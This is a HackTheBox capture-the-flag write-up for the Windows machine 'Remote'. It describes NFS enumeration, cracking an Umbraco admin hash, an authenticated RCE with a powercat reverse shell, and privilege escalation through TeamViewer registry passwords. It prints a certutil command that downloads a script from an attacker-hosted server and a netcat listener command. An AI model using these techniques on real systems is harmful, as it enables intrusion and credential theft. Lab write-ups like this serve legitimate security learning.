Remote writeup | HackTheBox | by DarkRider88

This is an easy level windows machine. So, let's start..

Enumeration

First we will do the nmap scan to enumerate all the services

We got our ports and we will start by enumerating the port 80.

Just a simple lookup to the source code of the website gave us that the website is based upon Umbraco CMS and we can reach its login page using http://10.10.10.180/umbraco. But wait, we don't have any credentials yet, I tried some defaul logins but no success. So, for now lets enumerate other services.

FTP got nothing in it and the SMB serivce does not allow anonymous login. So, whats more? remember that Port 111 RPCbind.

RPCbind:

From the nmap scan's RPCinfo we can say that there are some Network File System(NFS) shares. Now we are going to enumerate further and try to list the NFS shares, if any. So here it is..

Little Explanation 

• First I used Showmount tool to extract all the publicly available shares from the box's IP.
• Then I mounted that share to my local /mnt directory using the command show in the image.
• NOTE: to check the CMS version you can see Web.config.
• I researched some Umbraco's documentation to find out where the passwords for login are stored.
• Since the passwords are stored in Umbraco.sdf which is a binary file, running cat command won't help. So I used strings and greped the "admin".
• Then I took the hash and cracked it online and now we have email and password for login.

After logging in I saw there was nothing through which I could obtain a reverse shell. Hence, this is the right time for finding out public available vulnerabilities. 

    Here I used seachsploit to find the exploits for Umbraco 7.12.4

Amazing! we have Authenticated RCE and to exploit this I used a github available exploit Umbraco-exploit

Foothold:

Here's the plan:

• First we will execute the exploit and send a command to execute a reverse shell.
• For reverse shell, we will use powercat script of powershell and we'll be hosting it on our python3 server.
• Thirdly, we will turn on our netcat for any reverse connection.
• Well, there are many ways through which you can get the reverse shell. Check out this awesome article https://www.hackingarticles.in/get-reverse-shell-via-windows-one-liner/

Go grab your User flag from C:\windows\Users\Public.

Privilege Escalation:

There was two attack surface for privilege escalation. First, exploit a windows service and second, TeamViewer password gathering.

For enumeration purpose upload the PowerUp.ps1 module to the victim machine and run it.

firstly host your PowerUp.ps1 script on your machine through kali, start the server in the same directory where the script is located 

use    # python3 -m http.server

On windows machine type

        # certutil.exe -urlcache -f http://your-ip:port//PowerUp.ps1 PowerUP.ps1

    

Then run the script and you will find that only one service named UsoSvc is exploitable.

for your reference: Link(payload all things)

Before starting the service start your netcat (nc -lvp 8888).

But, for some reasons this method did not worked for me.

Second Method - TeamViewer:

There is a teamviewer folder in the program files and also there is public vulnerability which could be used to extract plaintext passwords from the registry stored by the Teamviewer application.

Reference: https://whynotsecurity.com/blog/teamviewer/

For exploiting this there was a nice Metasploit module.

Yayyy.. We got the password for administrator, now we will login as admin using PsExec module of Msf.

Put the appropriate options

And "I AM IN" :)

There is nothing more to this you'll find the flag in C:\windows\Users\Administrator\Desktop.

Happy Hacking

                   -DarkRider88